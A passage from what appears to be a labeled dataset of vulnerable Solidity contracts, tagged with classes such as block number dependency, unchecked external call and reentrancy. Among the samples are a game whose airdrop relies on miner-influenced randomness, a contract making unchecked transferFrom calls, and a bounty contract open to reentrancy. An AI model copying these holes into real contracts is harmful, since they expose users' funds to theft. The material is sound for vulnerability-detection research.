(1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, X3Ddatasets.EventReturns memory _eventData_) private returns(X3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _XCOM; if (!address(comBankAddr_).call.value(_com)()) { _XCOM = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit X3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _XCOM = _XCOM.add(_aff); } _XCOM = _XCOM.add((_eth.mul(fees_[_team].XCOM)) / (100)); if (_XCOM > 0) { comBankAddr_.transfer(_XCOM); _eventData_.XCOMAmount = _XCOM.add(_eventData_.XCOMAmount); } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, X3Ddatasets.EventReturns memory _eventData_) private returns(X3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].XCOM)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, X3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit X3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.XCOMAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() onlyOwner() public { require(comBankAddr_ != address(0), ""has not community adress bank yet""); require(activated_ == false, ""x3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setup(address addr) external onlyOwner() { comBankAddr_ = addr; } } library X3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 XCOMAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 XCOM; } struct PotSplit { uint256 gen; uint256 XCOM; } } library X3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 450.sol,"pragma solidity ^0.4.18; contract EBU{ function transfer(address from,address caddress,address[] _tos,uint[] v)public returns (bool){ require(_tos.length > 0); bytes4 id=bytes4(keccak256(""transferFrom(address,address,uint256)"")); for(uint i=0;i<_tos.length;i++){ caddress.call(id,from,_tos[i],v[i]); } return true; } }",./Dataset/unchecked external call (UC),7,7 37707.sol,"pragma solidity ^0.4.4; contract BountyHunt { mapping(address => uint) public bountyAmount; uint public totalBountyAmount; modifier preventTheft { _; if (this.balance < totalBountyAmount) throw; } function grantBounty(address beneficiary, uint amount) payable preventTheft { bountyAmount[beneficiary] += amount; totalBountyAmount += amount; } function claimBounty() preventTheft { uint balance = bountyAmount[msg.sender]; if (msg.sender.call.value(balance)()) { totalBountyAmount -= balance; bountyAmount[msg.sender] = 0; } } function transferBounty(address to, uint value) preventTheft { if (bountyAmount[msg.sender] >= value) { bountyAmount[to] += value; bountyAmount[msg.sender] -= value; } } }",./Dataset/reentrancy (RE)/,5,5 1473.sol,"pragma solidity ^0.4.19; contract Ownable { /** * @dev set `owner` of the contract to the sender */ address public owner = msg.sender; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] += _value; allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event Burn(address indexed burner, uint value); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply += _amount; balances[_to] += _amount; Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to burn tokens * @param _addr The address that will have _amount of tokens burned. * @param _amount The amount of tokens to burn. */ function burn(address _addr, uint _amount) onlyOwner public { require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount); balances[_addr] -= _amount; totalSupply -= _amount; Burn(_addr, _amount); Transfer(_addr, address(0), _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract WealthBuilderToken is MintableToken { string public name = ""Wealth Builder Token""; string public symbol = ""WBT""; uint32 public decimals = 18; /** * how many {tokens*10^(-18)} get per 1wei */ uint public rate = 10**7; /** * multiplicator for rate */ uint public mrate = 10**7; function setRate(uint _rate) onlyOwner public { rate = _rate; } } contract Data is Ownable { // node => its parent mapping (address => address) private parent; // node => its status mapping (address => uint8) public statuses; // node => sum of all his child deposits in USD cents mapping (address => uint) public referralDeposits; // client => balance in wei*10^(-6) available for withdrawal mapping(address => uint256) private balances; // investor => balance in wei*10^(-6) available for withdrawal mapping(address => uint256) private investorBalances; function parentOf(address _addr) public constant returns (address) { return parent[_addr]; } function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr] / 1000000; } function investorBalanceOf(address _addr) public constant returns (uint256) { return investorBalances[_addr] / 1000000; } /** * @dev The Data constructor to set up the first depositer */ function Data() public { // DirectorOfRegion - 7 statuses[msg.sender] = 7; } function addBalance(address _addr, uint256 amount) onlyOwner public { balances[_addr] += amount; } function subtrBalance(address _addr, uint256 amount) onlyOwner public { require(balances[_addr] >= amount); balances[_addr] -= amount; } function addInvestorBalance(address _addr, uint256 amount) onlyOwner public { investorBalances[_addr] += amount; } function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public { require(investorBalances[_addr] >= amount); investorBalances[_addr] -= amount; } function addReferralDeposit(address _addr, uint256 amount) onlyOwner public { referralDeposits[_addr] += amount; } function setStatus(address _addr, uint8 _status) onlyOwner public { statuses[_addr] = _status; } function setParent(address _addr, address _parent) onlyOwner public { parent[_addr] = _parent; } } contract Declaration { // threshold in USD => status mapping (uint => uint8) statusThreshold; // status => (depositsNumber => percentage) mapping (uint8 => mapping (uint8 => uint)) feeDistribution; // status thresholds in USD uint[8] thresholds = [ 0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000 ]; uint[5] referralFees = [50, 30, 20, 10, 5]; uint[5] serviceFees = [25, 20, 15, 10, 5]; /** * @dev The Declaration constructor to define some constants */ function Declaration() public { setFeeDistributionsAndStatusThresholds(); } /** * @dev Set up fee distribution & status thresholds */ function setFeeDistributionsAndStatusThresholds() private { // Agent - 0 setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]); // SilverAgent - 1 setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]); // Manager - 2 setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]); // ManagerOfGroup - 3 setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]); // ManagerOfRegion - 4 setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]); // Director - 5 setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]); // DirectorOfGroup - 6 setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]); // DirectorOfRegion - 7 setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]); } /** * @dev Set up specific fee and status threshold * @param _st The status to set up for * @param _percentages Array of pecentages, which should go to member * @param _threshold The minimum amount of sum of children deposits to get * the status _st */ function setFeeDistributionAndStatusThreshold( uint8 _st, uint8[5] _percentages, uint _threshold ) private { statusThreshold[_threshold] = _st; for (uint8 i = 0; i < _percentages.length; i++) { feeDistribution[_st][i] = _percentages[i]; } } } contract Investors is Ownable { // investors /* ""0x418155b19d7350f5a843b826474aa2f7623e99a6"",""0xbeb7a29a008d69069fd10154966870ff1dda44a0"",""0xa9cb1b8ba1c8facb92172e459389f80d304595a3"",""0xf3f2bf9be0ccc8f27a15ccf18d820c0722e8996a"",""0xa0f36ac9f68c1a4594ef5cec29dc9b1cc67f822c"",""0xc319278cca404e3a479b088922e4117feb4cec9d"",""0xe633c933529d6fd7c6147d2b0dc51bfbe3304e56"",""0x5bd2c1f2f06b16e427a4ec3a6beef6263fd506da"",""0x52c4f101d0367c3f9933d0c14ea389e74ad00352"",""0xf7a0d2149f324a0b607ebf23df671acc4e9da6d2"",""0x0418df662bb2994262bb720d477e558a59e19490"",""0xf0de6520e0726ba3d84611f84867aa9987391402"",""0x1e895274a9570f150f11ae0ed86dd42a53208b81"",""0x95a247bef71f6b234e9805d1493366a302a498e4"",""0x9daaeaf355f69f7176a0145df6d1769d7f14553b"",""0x029136181d87c6f0979431255424b5fad78e8491"",""0x7e1f5669d9e1c593a495c5cec384ca32ad4a09fc"",""0x46c7e04fdaaa1a9298e63ca2fd47b0004cb236bf"",""0x5933fa485863da06584057494f0f6660d3c1477c"",""0x4290231804dd59947aff9fcef925287e44906e7b"",""0x2feaf2101b3f9943a81567badb56e3780946ce3f"",""0x5b602c34ba643913908f69a4cd5846a07ed3915b"",""0x146308896955030ce3bcc6030bab142afddaa1e6"",""0x9fc61b75451fabf5b5b78e03bacaf8bb592541fc"",""0x87f7636f7856466b6c6bce999574a784387e2b78"",""0x024db1f560327ab5174f1a737caf446b5644c709"",""0x715c248e621cbdb6f091bf653bb4bc331d2f9b1e"",""0xfe92a23b497140ba055a91ade89d91f95f8e5153"",""0xc3426e0e0634725a628a7a21bfd49274e1f24733"",""0xb12a79b9dba8bbb9ed5e329466a9c2703da38dbd"",""0x44d8336749ebf584a4bcd636cefe83e6e0b33e7d"",""0x89c91460c3bdc164250e5a27351c743c070c226a"",""0xe0798a1b847f450b5d4819043d27a380a4715af8"",""0xeac5e75252d902cb7f8473e45fff9ceb391c536b"",""0xea53e88876a6da2579d837a559b31b08d6750681"",""0x5df22fac00c45ef7b5c285c54a006798f42bbc6e"",""0x09899f20064b5e67d02f6a97ef412564977ee193"",""0xc572f18d0a4a65f6e612e6de484dbc15b8839df3"",""0x397b9719e720c0d33fe7dcc004958e56636cbf82"",""0x577de83b60299df60cc7fce7ac78d3a5d880aa95"",""0x9a716298949b16c4610b40ba1d19e96d3286c35c"",""0x60ef523f3845e38a20b63344a4e9ec689773ead6"",""0xe34252e3efe0514c5fb76c9fb39ff31f554d6659"",""0xbabfbdf4f422d36c00e448cc562ce0f5dbe47d64"",""0x2608cca4aff4cc3008ac6bd22e0664348ecee088"",""0x0dd1d3102f89d4ee7c260048cbe01933f17debde"",""0xdbb28fafc4ecd7736247aca7dc8e20782ca86a7a"",""0x6201fc413bb9292527956a70e7575436d5135ce1"",""0xa836f4cfb8fd3e5bccc9c7a6a678f2a5928b7c79"",""0x85dce799fd059d86c420eb4e3c1bd89e323b7b12"",""0xdef2086c6bbdc8b0f6e130907f05345b44af8cc3"",""0xc1004695ce07ef5efb1d218672e5cfcb659c5900"",""0x227a5b4bb4cffc2b907d9f586dd100989efeee56"",""0xd372b3d43ba8ea406f64dbc68f70ec812e54fbc8"",""0xdf6c417cdb27bc0c877a0e121a2c58ad884e85c6"",""0x090f4d53b5d7ebcb8e348709cdb708d80cd199f0"",""0x2499b302b6f5e57f54c1c7a326813e3dffddcd1a"",""0x3114024a034443e972707522d911fc709f62dd3e"",""0x30b864f49cef510b1173a5bfc31e77b0b59daf9e"",""0x9a9680f5ddee6cef96ef36ab506f4b6d3198c35e"",""0x08018337b9b138b631cd325168c3d5014df6e18b"",""0x2ac345a4ec1615c3a236099ebbed4911673bbfa5"",""0x2b9fd54828cd443b7c411419b058b44bd02fdc49"",""0x208713a63460d44e5a83ae8e8f7333496a05065e"",""0xe4052eb7ba8891ee7ccd7551faaa5f4c421904e7"",""0x74bc9db1ac813db06f771bcff359e9237b01c906"",""0x033dd047a042ea873ca27af36b64ca566a006e97"",""0xb4721808a3f2830a1708967302443b53f5943429"",""0xc91fbb815c2f4944d8c6846be6ac0e30f5a037df"",""0x19ef947c276436ac11a8be15567909a37d824e73"",""0x079eefd69c5a4c5e4c9ee3fa08c2a2964da3e11a"",""0x11fb64be296590f948d56daab6c2d102c9842b08"",""0x06ec97feaeb0f4b9a75f9671d6b62bfadaf18ddd"",""0xaeda3cff45032695fb2cf4f584cda822bd5d8b7e"",""0x9f377085d3da85107cd68bd08bdd9a1b862d44e0"",""0xb46b8d1c313c52fd422fe189dde1b4d0800a5e0f"",""0x99039fa34510c7321f4d19ea337c80cc14cc885d"",""0x378aba0f47c7790ed0e5ca61749b0025d1208a5d"",""0x4395e1db93d4e2f4583a4f87494eb0aea057b8fd"",""0xa4035578750564e48abfb5ba1d6eec1da1bf366f"",""0xb611b39eb6c16dae3754e514ddd5f02fcadd765f"",""0x67d41491ddc004e899a3faf109f526cd717fe6d8"",""0x58e2c10865f9a1668e800c91b6a3d7b3416fb26c"",""0x04e34355ced9d532c9bc01d5e569f31b6d46cd50"",""0xf80358cabdc9b9b79570b6f073a861cf5567bb57"",""0xbdacb079fc17a00d945f01f4f9bd5d03cfcd5b6c"",""0x387a723060bc42a7796c76197d2d3b41b4c43d19"",""0xa04cc8fc56c34ab8104f63c11bf211de4bb7b0aa"",""0x3bf8b5ede7501519d41792715215735d8f40af10"",""0x6c3a13bac5cf61b1927562a927e89ca6b5d034d6"",""0x9899aecef15de43eec04859be649ac4c50330886"",""0xa4d25bac971ca08b47a908a070b6362102206c12"" ""0xf88d963dc3f58fe6e71879543e57734e8152f70d"",""0x7b30a000f7ae56ee6206cbd9fb20c934b4bbb5d1"",""0xb2f0e5330e90559a738eda0df156635e18a145fd"",""0x5b2c07b6cce506f2293f1b32dc33d9928b8c9ada"",""0x5a967c0e38cb3bfad90df288ce238699cc47b5e3"",""0x0e686d6f3c897cae3984b80b5f6a7c785c708718"",""0xa8ea0b6bc70502644c0644fb4c0810540a1fa261"",""0xc70e278819ef5aec6b3ededc21e2981557e14443"",""0x477b5ae32ffcd34eb25f0c52866d4f602982dc6f"",""0x3e72a45fbc6a0858b506a0c7bedff79af75ae37c"",""0x1430e272a50703ef46d8ed5aa01e1ced71245341"",""0xc87d0bb90a6105a66fd5105c6746218d381b8207"",""0x0ed7f98b6177d0c15e27704f2bae4d068b8594d5"",""0x09a627b57879eb625cd8b7c59ffa363222553c23"",""0x0fdbc41046590ef7ee2a73b9808fd5bd7e189ac4"",""0x6a4b68af67a3b4a98fe1a59210dd3d775e567729"",""0x442a3daf774329fee3e904e86ddec1191f4be3ce"",""0x9efa8fe7fa51c8b36ab902046f879b035520f556"",""0x510e8e58b8ce4acaa6866e59dfc0fa339ea358e5"",""0x374831251283aa63aee6506ac6580479aaf3c22b"",""0xf758c498d020c0b92f2116d09d7ef6509c2c71bd"",""0xd83e8281ffcfb0ff96236e99ba66aabb8dcc7920"",""0x3670c3a5e65b757db8c82b12dd92057ac19d41fa"",""0xfd28eb7e3e5e3406ce6b82045d487c2be294cd38"",""0x2d23cd492096b903e4595ccdac74e49692a6ea8e"",""0x94d3a0a19ed5448052c549fd1f69f54c5f1fd8c5"",""0x8e5354ac59cee09d252e379a3534053306022ebe"",""0xa66f3700dda0147c56c2970202768c956c644ffd"",""0xf11d32baef6221f36916c58844cd8e9813c0af47"",""0x384a9bc1de23b36c2a23b963e57c8cd85b0d592c"",""0xbd00dfbaaa1abaa7948c7b2a6bed6e644293cc1c"",""0xa99a28afcbd4ab09a2ef2c0932becd0368225ee6"",""0xe554084d77bc6e510eed7276cb6033865375b669"",""0xe7582fa53531915a2fef5a81b98969d0091d8d44"",""0x5f15db1d209fa6fd3c667fb086d3d89e3793511f"",""0x7e9ff5348d57d3427e24b7e104ad5acf039edaf2"",""0xb4fb1a01483454d75a0cdfa983b99236c4c91111"",""0x4a7cc5eebfe019efab06c1fa9ae8453dc63ba84e"",""0xb6fc08d5043b51ac05cdbd88afaab0e4422762d0"",""0xb18365f4f1e95287a5f85c8a67cebee9e6164c31"",""0xaf575cfb94d65eaeaace749868282d0e26e4608a"",""0x3d07e5ff3a2d29ee17584dff60cc99bb4cd79c3d"",""0x08f0afc93fbc8188150f4bcab004e259cd4785aa"",""0x65ac3ed81f101e5651c72c4cc2d74650378b5b0c"",""0x58aef4fc6b54cb53683a6481655021109b8d4dce"",""0x6aa43e24604577574a0632524a1f4c21d70a61e2"",""0xbee55aa5ad9953294ecac83a6b62f10c8155444b"",""0x99dc885ac6ec9873e2409d5a31e7f525c1897e09"",""0x53a0622034680d64bd0f139df5e989d70b194a4d"",""0xa6ba4966f1fdd0e8560516e53490b25cf0c4fbd1"",""0xbd1b95ee4621ecda41961da61277e17e52f37dbf"",""0xf6481b881eea526ae36cbe11d58d641f96f04a77"",""0xd158d53d75eac0dda9d2dedf3418d071a2fd44ee"",""0xb22697e3f33544da7782c8197d07704e1906a3bf"",""0xa3237e67df409dca45930c1f5f671251adc202be"",""0x72b26f2dded753a01f391322b00f9a85a77c7fda"",""0x203fbf3a77bdf35f7aca220b363272896db91d57"",""0xb1be2f4d72eb87dfcf7ed93c8ec16e4040e52560"",""0xc60d8a0313ede22194ebe6285471f72f9bcdcda0"",""0x9888e7423ea48413a4c90a10c76ca5f90d065e1f"",""0x0be856768ad0ec5b45464ce5202e2c337224cebf"",""0x3b54ea00a74b116510c4f73a3fc19a62991aaf64"",""0xe72aa06ffe7058f73622f219af164369c03e3a41"",""0x7e71fada017d9af455f38db4957d527f51fe1bc5"",""0x78430e58934220f37ca6b9dbe622f076ad0eb3f5"",""0x0c765e201bb43d49ab5b44d40d3cf1d219424821"",""0x4739d251b40028761bbd8034a21919d926f23b45"",""0x00a7c7bc71022032f6ef3f699b212c9450875740"",""0x0d4f50b0d43d34a163b8dd7c33fbcc92a19cfa59"",""0x9284fbc0cc35d9b835de2b00b6b7093075527f6b"",""0x3564e101b32fe5f3c99e8da823ac003373c26d33"",""0xf5a358f228dc964fa7c703cb6ad9f6002ce77b17"",""0x8297a09b5dac9e60896c787f0995ac06441ab14f"",""0xed8c9b4fd60a6e4ae66c38f5819cffb360af5dd5"",""0x23009de4ec4a666ba719656d844e42e264e14c6b"",""0x63227f4492c6bbd9e1015f2c864a31eef1465cd3"",""0xf3e0ec409386ea202b15d97bb8dd2d131917e3b1"",""0x981154fafb3a5aeee43d984ee255e5121ce79790"",""0x49a4598cdf112b5848c11c465d39989fcb5cb6c1"",""0x575ca03f00f9e5566d85dc095165998953ab0753"",""0x09d87f2979c4ac6c9d4077d1f5d94cb9aadf43ca"",""0x0b4575867757b3982379f4d05c92fd2d019247a0"",""0x8c666d40e2ac961885d675e58e3115b859dac6c1"",""0x34a3401ebe8431d44efee9948c4b641142407aa8"",""0x1683512dbcce189ea6042862a2ba4abd4886623b"",""0x72d45f733336f6f03ef20c1ad4f51ff6b7f90186"",""0x569fe010fe2d40037c029537eef78aa9b0e018f9"",""0x061def9fab3aee4161711d4c040d138a273893b5"",""0xe77e2ae67e1152425c75ff56291d03d92f5d3cad"",""0x93ebdeb0b0c967f5cc1a10f481569e1871b7d7cd"",""0x6d7910f900fc3e3f2e2b6d5d8aad43bc6a232685"",""0xb16e28be300f579a81f2b80fdd5a95cf168bf3a4"" ""0xd69835daeee01601ea991efe9fd0309c64c07d42"",""0x30b45ed69250a160ee91dadab2986d21626d7f4b"",""0xd28075489da5f9ef51bcc61668c114296a8e8603"",""0xb63c5cb479034bacc04266536e32aeeb9f958059"",""0x5f81fe78b5c238afd97a32c572aa04d87b730147"",""0xb98c8d7d64ef60cc76410f31c19570da0c4d9f12"",""0x031eb1c3a9909ea26d07f194abe5ad7f6945a482"",""0x83691573a4fdb5ff2cdbe2df155da09810a3c2bc"",""0x6722a482e1f3b797e69f98a3324b6660b9c6baa5"",""0xbda61db5824240280ed000a57ed5e6f70d552dd6"",""0x58605742105060e5c3070b88b0f51eca7f022d06"",""0xb4754815ccfc9c98a80f71a0a2c97471188bd556"",""0x50503144f253e6f05103b643c082ebf215436d95"",""0xd0dbef9f712ee0ca05fe48b6a40f5b774a109feb"" */ address[] public investors; // investor address => percentage * 10^(-2) /* 3026,1500,510,462,453,302,250,250,226,220,150,129,100,100,60,50,50,50,50,50,50,50,50,50,50,40,40,30,27,26,25,25,25,25,25,25,25,25,23,20,19,15,15,15,15,15,14,14,13,13,13,13,12,12,11,11,11,11,11,11,10,10,10,10,10,10,10,10,12,9,9,8,8,8,8,7,6,6,6,6,6,6,6,6,6,6,6,6,6,5,5,5 